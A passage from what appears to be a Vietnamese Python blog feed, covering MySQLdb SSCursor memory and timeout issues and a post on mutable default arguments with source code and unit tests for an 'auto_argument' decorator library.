<p>Lý do là phần giao tiếp giữa Python và MySQL mặc định sẽ lấy tất cả các bản ghi của câu truy vấn về trước, chứa chúng trong bộ nhớ, rồi sau đó trả về cho Python một bản ghi, nhiều bản ghi, hay tất cả các bản ghi đó tùy thuộc vào hàm nào được gọi.</p>
<p>Điều này cũng dễ hiểu vì giao thức mạng của MySQL là mô hình yêu cầu/đáp trả (request/response). Một truy vấn là một yêu cầu. Và các bản ghi của truy vấn đó là một đáp trả. Cho nên trình điều khiển (driver) cần phải đọc hết toàn bộ đáp trả để kết thúc chu trình yêu cầu/đáp trả trước khi trả lời các lời gọi hàm <strong>fetchone</strong>, <strong>fetchmany</strong> hay <strong>fetchall</strong>. Nói một cách khác, các hàm <strong>fetchone</strong> hay <strong>fetchmany</strong> trả về kết quả đã có trong bộ nhớ.</p>
<p>Đó cũng chính là lý do vì sao chúng ta có thể gọi <strong>fetchone</strong> hay <strong>fetchmany</strong> nhiều lần. Các hàm này <strong>không</strong> tạo một chu trình yêu cầu/đáp trả mới mà chỉ đơn giản là tiếp tục trả về các bản ghi đã chứa trong bộ nhớ.</p>
</div>
<div class="section" id="cach-khac-phuc">
<h3>Cách khắc phục</h3>
<p>Cách khắc phục là sử dụng <strong>SSCursor</strong> khi tạo <strong>con trỏ</strong> từ <strong>kết nối</strong> MySQL. Lớp <strong>SSCursor</strong> nằm trong mô-đun <strong>MySQLdb</strong>.</p>
<div class="highlight"><pre><span></span><span class="n">conn</span> <span class="o">=</span> <span class="n">MySQLdb</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="o">...</span><span class="p">)</span>
<span class="n">cursor</span> <span class="o">=</span> <span class="n">MySQLdb</span><span class="o">.</span><span class="n">SSCursor</span><span class="p">(</span><span class="n">conn</span><span class="p">)</span>
</pre></div>
<p>Sau đó khi gọi <strong>fetchone</strong> hoặc <strong>fetchmany</strong> thì trình điều khiển sẽ không đọc toàn bộ đáp trả vào bộ nhớ nữa mà sẽ chỉ đọc vừa đủ để trả về bấy nhiêu bản ghi cho ta.</p>
</div>
<div class="section" id="luu-y">
<h3>Lưu ý</h3>
<p>Khi sử dụng <strong>SSCursor</strong>, ta nhất định phải đảm bảo chu trình yêu cầu/đáp trả được hoàn tất. Ví dụ câu truy vấn trả về 10 bản ghi, thì ta phải đảm bảo đọc hết 10 bản ghi này. Nếu ta chỉ gọi <strong>fetchone</strong> 5 lần, thì sẽ còn 5 bản ghi vẫn chưa được đọc hết, và do đó ta sẽ không thể gửi truy vấn khác trong cùng kết nối hiện tại.</p>
<p>Vì <strong>SSCursor</strong> không giữ kết quả trong bộ nhớ nên ta sẽ không thể di chuyển con trỏ tới, hoặc lùi để truy xuất bản ghi ta cần. Điều duy nhất chúng ta có thể làm với <strong>SSCursor</strong> là đọc tuần tự tất cả các bản ghi.</p>
</div>
</div>
<div class="section" id="het-gio-timeout">
<h2>Hết giờ (timeout)</h2>
<div class="section" id="id1">
<h3>Vấn đề</h3>
<p>Với <strong>SSCursor</strong> ta có thể sẽ viết mã như sau:</p>
<div class="highlight"><pre><span></span><span class="n">row</span> <span class="o">=</span> <span class="n">cursor</span><span class="o">.</span><span class="n">fetchone</span><span class="p">()</span>
<span class="k">while</span> <span class="n">row</span><span class="p">:</span>
<span class="c1"># xử lý row</span>
<span class="n">row</span> <span class="o">=</span> <span class="n">cursor</span><span class="o">.</span><span class="n">fetchone</span><span class="p">()</span>
</pre></div>
<p>Đoạn mã này đôi khi sẽ gây ra lỗi 2013 (Lost connection to MySQL server during query).</p>
<p>Lý do là việc xử lý từng bản ghi sẽ làm ta tốn thời gian, và ta sẽ không thể đọc đáp trả đủ nhanh, khiến cho máy chủ MySQL phải hoãn việc gửi tiếp các bản ghi về cho ta. Máy chủ MySQL chỉ có thể hoãn việc gửi thông tin trong một thời gian ngắn. Quá thời gian này, máy chủ sẽ tự ngắt kết nối.</p>
</div>
<div class="section" id="id2">
<h3>Cách khắc phục</h3>
<p>Tốt nhất là chúng ta sử dụng <strong>SSCursor</strong> để đọc tất cả các bản ghi từ máy chủ ở xa và ghi chúng vào một tập tin trên máy hiện tại. Sau đó ta đọc lại từ tập tin này và xử lý từng bản ghi đã lưu. Khi làm như vậy, chúng ta tránh được lỗi hết bộ nhớ đã đề cập ở trên, và hy vọng rằng việc ghi bản tin ra dĩa xảy ra đủ nhanh để ta có thể đọc bản ghi khác gần như ngay lập tức, tránh được lỗi hết giờ.</p>
</div>
<div class="section" id="id3">
<h3>Lưu ý</h3>
<p>Với việc ghi bản tin ra dĩa (hoặc một nơi nội bộ nào khác), chúng ta cần đảm bảo rằng nơi đó có đủ chỗ để lưu toàn bộ các bản ghi đọc được.</p>
</div>
</div>
Tham số tự động2012-07-23T01:41:00+07:002012-07-23T01:41:00+07:00Nguyễn Thành Namtag:None,2012-07-23:2012/07/tham-so-tu-dong.html<div class="section" id="tham-so-mac-dinh">
<h2>Tham số mặc định</h2>
<p>Python cho phép chúng ta khai báo hàm với tham số mặc định như sau:</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">function</span><span class="p">(</span><span class="n">arg_1</span><span class="p">,</span> <span class="n">arg_2</span><span class="o">=</span><span class="p">{}):</span>
<span class="n">arg_2</span><span class="p">[</span><span class="n">arg_1</span><span class="p">]</span> <span class="o">=</span> <span class="kc">True</span>
<span class="nb">print</span> <span class="p">(</span><span class="n">arg_2</span><span class="p">)</span>
</pre></div>
<p>Với khai báo hàm trên, tham số <strong>arg_2*</strong> trở thành một tham số mặc định và sẽ nhận giá trị là một …</p></div><div class="section" id="tham-so-mac-dinh">
<h2>Tham số mặc định</h2>
<p>Python cho phép chúng ta khai báo hàm với tham số mặc định như sau:</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">function</span><span class="p">(</span><span class="n">arg_1</span><span class="p">,</span> <span class="n">arg_2</span><span class="o">=</span><span class="p">{}):</span>
<span class="n">arg_2</span><span class="p">[</span><span class="n">arg_1</span><span class="p">]</span> <span class="o">=</span> <span class="kc">True</span>
<span class="nb">print</span> <span class="p">(</span><span class="n">arg_2</span><span class="p">)</span>
</pre></div>
<p>Với khai báo hàm trên, tham số <strong>arg_2*</strong> trở thành một tham số mặc định và sẽ nhận giá trị là một từ điển rỗng. Khi gọi hàm <strong>function</strong>, chúng ta có thể không cung cấp giá trị cho tham số <strong>arg_2</strong>. Ví dụ khi thực hiện lệnh gọi sau, trên màn hình sẽ xuất hiện chuỗi <strong>{1: True}</strong>:</p>
<div class="highlight"><pre><span></span><span class="n">function</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c1"># in ra '{1: True}'</span>
</pre></div>
<p>Nếu tiếp tục gọi một lần tương tự, chúng ta nhận được một kết quả ngoài mong đợi.</p>
<div class="highlight"><pre><span></span><span class="n">function</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="c1"># in ra '{1: True, 2: True}'</span>
</pre></div>
<p>Lần này, thay vì chỉ in ra từ điển với một khóa <strong>{2: True}</strong>, ta nhận được cả hai giá trị.</p>
</div>
<div class="section" id="y-nghia-cua-tham-so-mac-dinh">
<h2>Ý nghĩa của tham số mặc định</h2>
<p>Lý giải điều này không khó. Trong <a class="reference external" href="http://www.vithon.org/tutorial/2.5/node6.html#SECTION006710000000000000000">mục 4.7.1</a> của Bài chỉ dẫn Python có nêu:</p>
<blockquote>
Giá trị mặc định được định giá tại nơi hàm được định nghĩa.</blockquote>
<p>Điều này dẫn đến hệ quả là:</p>
<p><strong>Giá trị mặc định chỉ được định giá một lần. Điểm này quan trọng khi *giá trị* mặc định là một giá trị khả biến như danh sách, từ điển hoặc các đối tượng của hầu hết mọi lớp.</strong></p>
<p>Do đó, với ví dụ của hàm <strong>function</strong> ở trên, tham số <strong>arg_2</strong> sẽ nhận giá trị mặc định là từ điển được tạo ra ngay khi dòng lệnh <strong>def function(...)</strong> được dịch và thực thi. Trong các lần gọi lệnh <strong>function</strong> sau đó, nếu không xác định tham số cho <strong>arg_2</strong>, thì <strong>arg_2</strong> sẽ chỉ đến cùng một từ điển này. Và vì thế mọi tác động đến <strong>arg_2</strong> đều tác động đến cùng một đối tượng từ điển.</p>
<p>Thông thường, cách giải quyết vấn đề này sẽ bao gồm:</p>
<ol class="arabic simple">
<li>Xác định giá trị mặc định là <strong>None</strong> ở câu lệnh <strong>def</strong></li>
<li>Khởi tạo giá trị mặc định mới và gán nó vào biến ở trong thân hàm nếu giá trị hiện tại là <strong>None</strong></li>
</ol>
<p>Hàm <strong>function</strong> sẽ được sửa lại như sau:</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">function</span><span class="p">(</span><span class="n">arg_1</span><span class="p">,</span> <span class="n">arg_2</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
<span class="k">if</span> <span class="n">arg_2</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span> <span class="c1"># kiểm tra arg_2 có phải None không</span>
<span class="n">arg_2</span> <span class="o">=</span> <span class="p">{}</span> <span class="c1"># gán đối tượng từ điển mới vào arg_2</span>
<span class="n">arg_2</span><span class="p">[</span><span class="n">arg_1</span><span class="p">]</span> <span class="o">=</span> <span class="kc">True</span>
<span class="nb">print</span><span class="p">(</span><span class="n">arg_2</span><span class="p">)</span>
</pre></div>
</div>
<div class="section" id="mo-dun-auto-argument">
<h2>Mô-đun <tt class="docutils literal">auto_argument</tt></h2>
<p>Để đơn giản hóa và tránh lập đi lập lại dòng lệnh <strong>if</strong>, tôi đã phát triển một thư viện nhỏ đặt tên là <strong>auto_argument</strong> (thông số tự động).</p>
<p>Với thư viện này, chúng ta có thể viết lại hàm <strong>function</strong> như sau:</p>
<div class="highlight"><pre><span></span><span class="nd">@callable_auto_argument</span><span class="p">([(</span><span class="s1">'arg_2'</span><span class="p">,</span> <span class="kc">None</span><span class="p">,</span> <span class="nb">dict</span><span class="p">)])</span>
<span class="k">def</span> <span class="nf">function</span><span class="p">(</span><span class="n">arg_1</span><span class="p">,</span> <span class="n">arg_2</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
<span class="n">arg_2</span><span class="p">[</span><span class="n">arg_1</span><span class="p">]</span> <span class="o">=</span> <span class="kc">True</span>
<span class="nb">print</span> <span class="p">(</span><span class="n">arg_2</span><span class="p">)</span>
</pre></div>
<p>Điểm khác biệt chính là ở việc sử dụng bộ trang hoàng <strong>callable_auto_argument</strong> để tự động thay thế tham số <strong>arg_2</strong> với giá trị trả về từ lệnh gọi <strong>dict()</strong>.</p>
<p>Bộ trang hoàng <strong>auto_argument</strong> (lớp cha của <strong>callable_auto_argument</strong>) nhận một dãy các bộ 3 (tên tham số, giá trị dấu, giá trị thay thế) (argument name, marker, value). Khi tham số có giá trị là <strong>giá trị dấu</strong> thì giá trị của tham số sẽ được thay bằng giá trị tạo ra từ <strong>giá trị thay thế</strong>. <strong>callable_auto_argument</strong> tạo ra giá trị thay thế bằng cách gọi hàm giá trị thay thế. Người dùng cũng có thể tạo lớp con của các bộ trang hoàng này để tùy chỉnh giá trị thay thế riêng hoặc tránh phải lập lại giá trị dấu. Xem qua hàm <strong>test_subclass</strong> và lớp <strong>auto_dict_argument</strong> trong mã nguồn.</p>
<p>Mã nguồn của các bộ trang hoàng này được liệt kê ở ngay dưới. Mã nguồn này được cung cấp theo điều khoản bản quyền <strong>MIT</strong>. Người dùng có thể tùy ý sử dụng, hay sửa đổi mã nguồn cho hợp với nhu cầu.</p>
<div class="highlight"><pre><span></span><span class="sd">'''Automatically replace a default argument with some other (potentially</span>
<span class="sd">dynamic) value.</span>
<span class="sd">The default argument is usually guarded like this::</span>
<span class="sd"> def func(arg=None):</span>
<span class="sd"> if arg is None:</span>
<span class="sd"> arg = dict()</span>
<span class="sd"> // use arg</span>
<span class="sd">With decorators provided in this module, one can write::</span>
<span class="sd"> __marker = object()</span>
<span class="sd"> @callable_auto_argument([('arg', __marker, dict)])</span>
<span class="sd"> def func(arg=__marker):</span>
<span class="sd"> // use arg</span>
<span class="sd">See class:`callable_auto_argument`.</span>
<span class="sd">Also, the standard Python behavior could be thought as::</span>
<span class="sd"> __marker = object()</span>
<span class="sd"> @passthru_auto_argument([('arg', __marker, {})])</span>
<span class="sd"> def func(arg=__marker):</span>
<span class="sd"> // ...</span>
<span class="sd">See class:`passthru_auto_argument`.</span>
<span class="sd">These classes can be used by themselves or serve as base classes for more</span>
<span class="sd">customizations. For example, to eliminate repeated typings, one can subclass</span>
<span class="sd">``callable_auto_argument`` like this::</span>
<span class="sd"> class auto_dict_argument(callable_auto_argument):</span>
<span class="sd"> def __init__(self, *names):</span>
<span class="sd"> names_markers_values = []</span>
<span class="sd"> for name in names:</span>
<span class="sd"> names_markers_values.append((name, None, dict))</span>
<span class="sd"> super(auto_dict_argument, self).__init__(names_markers_values)</span>
<span class="sd">And then apply this on methods like this::</span>
<span class="sd"> @auto_dict_argument('arg_1', 'arg_2', 'arg_3')</span>
<span class="sd"> def method(arg_1=None, arg_2=None, arg_3=None):</span>
<span class="sd"> # arg_1, arg_2, arg_3 are new dicts unless specified otherwise</span>
<span class="sd"> # and these lines are no longer required</span>
<span class="sd"> # if arg_1 is None: arg_1 = {}</span>
<span class="sd"> # if arg_2 is None: arg_2 = {}</span>
<span class="sd"> # if arg_3 is None: arg_3 = {}</span>
<span class="sd">'''</span>
<span class="kn">import</span> <span class="nn">unittest</span>
<span class="k">class</span> <span class="nc">auto_argument</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="sd">'''The base class for automatic argument.</span>
<span class="sd"> Subclasses must implement method:`create` to create appropriate value for</span>
<span class="sd"> the argument.</span>
<span class="sd"> '''</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">names_markers_values</span><span class="p">):</span>
<span class="sd">'''Construct an auto argument decorator with a collection of variable</span>
<span class="sd"> names, their markers, and their supposed values.</span>
<span class="sd"> The __supposed__ value objects are used in method:`create` to produce</span>
<span class="sd"> final value.</span>
<span class="sd"> Args:</span>
<span class="sd"> names_markers_values (collection of 3-tuples): A collection of</span>
<span class="sd"> (string, object, object) tuples specifying (in that order) the</span>
<span class="sd"> names, the marker objects, and the supposed value objects</span>
<span class="sd"> '''</span>
<span class="bp">self</span><span class="o">.</span><span class="n">names_markers_values</span> <span class="o">=</span> <span class="n">names_markers_values</span>
<span class="k">def</span> <span class="nf">create</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">current_value</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
<span class="sd">'''Return a value based for the named argument and its current value.</span>
<span class="sd"> This final value will be used to replace what is currently passed in</span>
<span class="sd"> the invocation.</span>
<span class="sd"> Subclasses MUST override this method to provide more meaningful</span>
<span class="sd"> behavior.</span>
<span class="sd"> Args:</span>
<span class="sd"> name (string): The argument's name</span>
<span class="sd"> current_value: Its current value in this invocation</span>
<span class="sd"> value: The supposed value passed in during construction time</span>
<span class="sd"> Returns:</span>
<span class="sd"> Final value for this argument</span>
<span class="sd"> '''</span>
<span class="k">raise</span> <span class="ne">NotImplementedError</span><span class="p">()</span>
<span class="k">def</span> <span class="fm">__call__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">orig_func</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">new_func</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kw_args</span><span class="p">):</span>
<span class="k">for</span> <span class="n">name</span><span class="p">,</span> <span class="n">marker</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">names_markers_values</span><span class="p">:</span>
<span class="c1"># check kw_args first</span>
<span class="k">try</span><span class="p">:</span>
<span class="k">if</span> <span class="n">kw_args</span><span class="p">[</span><span class="n">name</span><span class="p">]</span> <span class="ow">is</span> <span class="n">marker</span><span class="p">:</span>
<span class="n">kw_args</span><span class="p">[</span><span class="n">name</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">create</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">kw_args</span><span class="p">[</span><span class="n">name</span><span class="p">],</span> <span class="n">value</span><span class="p">)</span>
<span class="k">except</span> <span class="ne">KeyError</span><span class="p">:</span>
<span class="c1"># ignored</span>
<span class="k">pass</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">continue</span>
<span class="c1"># then check args</span>
<span class="c1"># we need to instropect the arg names from orig_func</span>
<span class="n">co_obj</span> <span class="o">=</span> <span class="n">orig_func</span><span class="o">.</span><span class="n">func_code</span>
<span class="c1"># number of required arguments</span>
<span class="n">nr_required</span> <span class="o">=</span> <span class="p">(</span><span class="n">co_obj</span><span class="o">.</span><span class="n">co_argcount</span> <span class="o">-</span>
<span class="nb">len</span><span class="p">(</span><span class="n">orig_func</span><span class="o">.</span><span class="n">func_defaults</span><span class="p">))</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">nr_required</span><span class="p">,</span> <span class="n">co_obj</span><span class="o">.</span><span class="n">co_argcount</span><span class="p">):</span>
<span class="k">if</span> <span class="n">co_obj</span><span class="o">.</span><span class="n">co_varnames</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="n">name</span><span class="p">:</span>
<span class="k">continue</span>
<span class="c1"># is it supplied in args?</span>
<span class="k">if</span> <span class="n">i</span> <span class="o"><</span> <span class="nb">len</span><span class="p">(</span><span class="n">args</span><span class="p">):</span>
<span class="k">if</span> <span class="n">args</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="ow">is</span> <span class="n">marker</span><span class="p">:</span>
<span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="nb">tuple</span><span class="p">):</span>
<span class="n">args</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">args</span><span class="p">)</span>
<span class="n">args</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">create</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">args</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">value</span><span class="p">)</span>
<span class="c1"># it is not, so, check defaults</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">default</span> <span class="o">=</span> <span class="n">orig_func</span><span class="o">.</span><span class="n">func_defaults</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="n">nr_required</span><span class="p">]</span>
<span class="k">if</span> <span class="n">default</span> <span class="ow">is</span> <span class="n">marker</span><span class="p">:</span>
<span class="n">kw_args</span><span class="p">[</span><span class="n">name</span><span class="p">]</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">create</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">default</span><span class="p">,</span> <span class="n">value</span><span class="p">)</span>
<span class="c1"># invoke orig_func with new args</span>
<span class="k">return</span> <span class="n">orig_func</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kw_args</span><span class="p">)</span>
<span class="k">return</span> <span class="n">new_func</span>
<span class="k">class</span> <span class="nc">callable_auto_argument</span><span class="p">(</span><span class="n">auto_argument</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">create</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">current_value</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
<span class="c1"># call on value</span>
<span class="k">return</span> <span class="n">value</span><span class="p">()</span>
<span class="k">class</span> <span class="nc">passthru_auto_argument</span><span class="p">(</span><span class="n">auto_argument</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">create</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">current_value</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
<span class="c1"># just return it directly</span>
<span class="k">return</span> <span class="n">value</span>
<span class="k">class</span> <span class="nc">AutoArgumentTest</span><span class="p">(</span><span class="n">unittest</span><span class="o">.</span><span class="n">TestCase</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">test_keyword_1</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">marker</span> <span class="o">=</span> <span class="s1">'replace_me'</span>
<span class="nd">@passthru_auto_argument</span><span class="p">([(</span><span class="s1">'arg_name'</span><span class="p">,</span> <span class="n">marker</span><span class="p">,</span> <span class="s1">'done'</span><span class="p">)])</span>
<span class="k">def</span> <span class="nf">orig_func_0</span><span class="p">(</span><span class="n">arg_name</span><span class="o">=</span><span class="n">marker</span><span class="p">):</span>
<span class="k">return</span> <span class="n">arg_name</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">(</span><span class="s1">'done'</span><span class="p">,</span> <span class="n">orig_func_0</span><span class="p">())</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">(</span><span class="s1">'done'</span><span class="p">,</span> <span class="n">orig_func_0</span><span class="p">(</span><span class="n">marker</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">(</span><span class="s1">'not_replace'</span><span class="p">,</span> <span class="n">orig_func_0</span><span class="p">(</span><span class="s1">'not_replace'</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">(</span><span class="s1">'done'</span><span class="p">,</span> <span class="n">orig_func_0</span><span class="p">(</span><span class="n">arg_name</span><span class="o">=</span><span class="n">marker</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">(</span><span class="s1">'not_replace'</span><span class="p">,</span> <span class="n">orig_func_0</span><span class="p">(</span><span class="n">arg_name</span><span class="o">=</span><span class="s1">'not_replace'</span><span class="p">))</span>
<span class="nd">@passthru_auto_argument</span><span class="p">([(</span><span class="s1">'arg_name'</span><span class="p">,</span> <span class="s1">'replace_me'</span><span class="p">,</span> <span class="s1">'done'</span><span class="p">)])</span>
<span class="k">def</span> <span class="nf">orig_func_1</span><span class="p">(</span><span class="n">junk</span><span class="p">,</span> <span class="n">arg_name</span><span class="o">=</span><span class="s1">'replace_me'</span><span class="p">):</span>
<span class="k">return</span> <span class="n">junk</span><span class="p">,</span> <span class="n">arg_name</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">((</span><span class="s1">'ignore'</span><span class="p">,</span> <span class="s1">'done'</span><span class="p">),</span> <span class="n">orig_func_1</span><span class="p">(</span><span class="s1">'ignore'</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">((</span><span class="s1">'ignore'</span><span class="p">,</span> <span class="s1">'done'</span><span class="p">),</span>
<span class="n">orig_func_1</span><span class="p">(</span><span class="s1">'ignore'</span><span class="p">,</span> <span class="n">marker</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">((</span><span class="s1">'ignore'</span><span class="p">,</span> <span class="s1">'not_replace'</span><span class="p">),</span>
<span class="n">orig_func_1</span><span class="p">(</span><span class="s1">'ignore'</span><span class="p">,</span> <span class="s1">'not_replace'</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">((</span><span class="s1">'ignore'</span><span class="p">,</span> <span class="s1">'done'</span><span class="p">),</span>
<span class="n">orig_func_1</span><span class="p">(</span><span class="s1">'ignore'</span><span class="p">,</span> <span class="n">arg_name</span><span class="o">=</span><span class="n">marker</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">((</span><span class="s1">'ignore'</span><span class="p">,</span> <span class="s1">'not_replace'</span><span class="p">),</span>
<span class="n">orig_func_1</span><span class="p">(</span><span class="s1">'ignore'</span><span class="p">,</span> <span class="n">arg_name</span><span class="o">=</span><span class="s1">'not_replace'</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">test_keyword_2</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">marker_1</span> <span class="o">=</span> <span class="s1">'replace_me'</span>
<span class="n">marker_2</span> <span class="o">=</span> <span class="s1">'replace_too'</span>
<span class="nd">@passthru_auto_argument</span><span class="p">([(</span><span class="s1">'arg_1'</span><span class="p">,</span> <span class="n">marker_1</span><span class="p">,</span> <span class="s1">'done'</span><span class="p">),</span>
<span class="p">(</span><span class="s1">'arg_2'</span><span class="p">,</span> <span class="n">marker_2</span><span class="p">,</span> <span class="s1">'enod'</span><span class="p">)])</span>
<span class="k">def</span> <span class="nf">orig_func_0</span><span class="p">(</span><span class="n">arg_1</span><span class="o">=</span><span class="n">marker_1</span><span class="p">,</span> <span class="n">arg_2</span><span class="o">=</span><span class="n">marker_2</span><span class="p">):</span>
<span class="k">return</span> <span class="n">arg_1</span><span class="p">,</span> <span class="n">arg_2</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">((</span><span class="s1">'done'</span><span class="p">,</span> <span class="s1">'enod'</span><span class="p">),</span> <span class="n">orig_func_0</span><span class="p">())</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">((</span><span class="s1">'not_replace'</span><span class="p">,</span> <span class="s1">'enod'</span><span class="p">),</span> <span class="n">orig_func_0</span><span class="p">(</span><span class="s1">'not_replace'</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">((</span><span class="s1">'done'</span><span class="p">,</span> <span class="s1">'not'</span><span class="p">),</span> <span class="n">orig_func_0</span><span class="p">(</span><span class="n">marker_1</span><span class="p">,</span> <span class="s1">'not'</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">((</span><span class="s1">'done'</span><span class="p">,</span> <span class="s1">'enod'</span><span class="p">),</span> <span class="n">orig_func_0</span><span class="p">(</span><span class="n">marker_1</span><span class="p">,</span> <span class="n">marker_2</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">((</span><span class="s1">'not_1'</span><span class="p">,</span> <span class="s1">'not_2'</span><span class="p">),</span> <span class="n">orig_func_0</span><span class="p">(</span><span class="s1">'not_1'</span><span class="p">,</span> <span class="s1">'not_2'</span><span class="p">))</span>
<span class="nd">@passthru_auto_argument</span><span class="p">([(</span><span class="s1">'arg_1'</span><span class="p">,</span> <span class="n">marker_1</span><span class="p">,</span> <span class="s1">'done'</span><span class="p">),</span>
<span class="p">(</span><span class="s1">'arg_2'</span><span class="p">,</span> <span class="n">marker_2</span><span class="p">,</span> <span class="s1">'enod'</span><span class="p">)])</span>
<span class="k">def</span> <span class="nf">orig_func_1</span><span class="p">(</span><span class="n">junk</span><span class="p">,</span> <span class="n">arg_1</span><span class="o">=</span><span class="n">marker_1</span><span class="p">,</span> <span class="n">arg_2</span><span class="o">=</span><span class="n">marker_2</span><span class="p">):</span>
<span class="k">return</span> <span class="n">junk</span><span class="p">,</span> <span class="n">arg_1</span><span class="p">,</span> <span class="n">arg_2</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">((</span><span class="s1">'.'</span><span class="p">,</span> <span class="s1">'done'</span><span class="p">,</span> <span class="s1">'enod'</span><span class="p">),</span> <span class="n">orig_func_1</span><span class="p">(</span><span class="s1">'.'</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">((</span><span class="s1">'.'</span><span class="p">,</span> <span class="s1">'not_replace'</span><span class="p">,</span> <span class="s1">'enod'</span><span class="p">),</span>
<span class="n">orig_func_1</span><span class="p">(</span><span class="s1">'.'</span><span class="p">,</span> <span class="s1">'not_replace'</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">((</span><span class="s1">'.'</span><span class="p">,</span> <span class="s1">'done'</span><span class="p">,</span> <span class="s1">'not'</span><span class="p">),</span>
<span class="n">orig_func_1</span><span class="p">(</span><span class="s1">'.'</span><span class="p">,</span> <span class="n">marker_1</span><span class="p">,</span> <span class="s1">'not'</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">((</span><span class="s1">'.'</span><span class="p">,</span> <span class="s1">'done'</span><span class="p">,</span> <span class="s1">'enod'</span><span class="p">),</span>
<span class="n">orig_func_1</span><span class="p">(</span><span class="s1">'.'</span><span class="p">,</span> <span class="n">marker_1</span><span class="p">,</span> <span class="n">marker_2</span><span class="p">))</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">((</span><span class="s1">'.'</span><span class="p">,</span> <span class="s1">'not_1'</span><span class="p">,</span> <span class="s1">'not_2'</span><span class="p">),</span>
<span class="n">orig_func_1</span><span class="p">(</span><span class="s1">'.'</span><span class="p">,</span> <span class="s1">'not_1'</span><span class="p">,</span> <span class="s1">'not_2'</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">test_subclass</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">class</span> <span class="nc">auto_dict_argument</span><span class="p">(</span><span class="n">callable_auto_argument</span><span class="p">):</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="o">*</span><span class="n">names</span><span class="p">):</span>
<span class="n">names_markers_values</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">name</span> <span class="ow">in</span> <span class="n">names</span><span class="p">:</span>
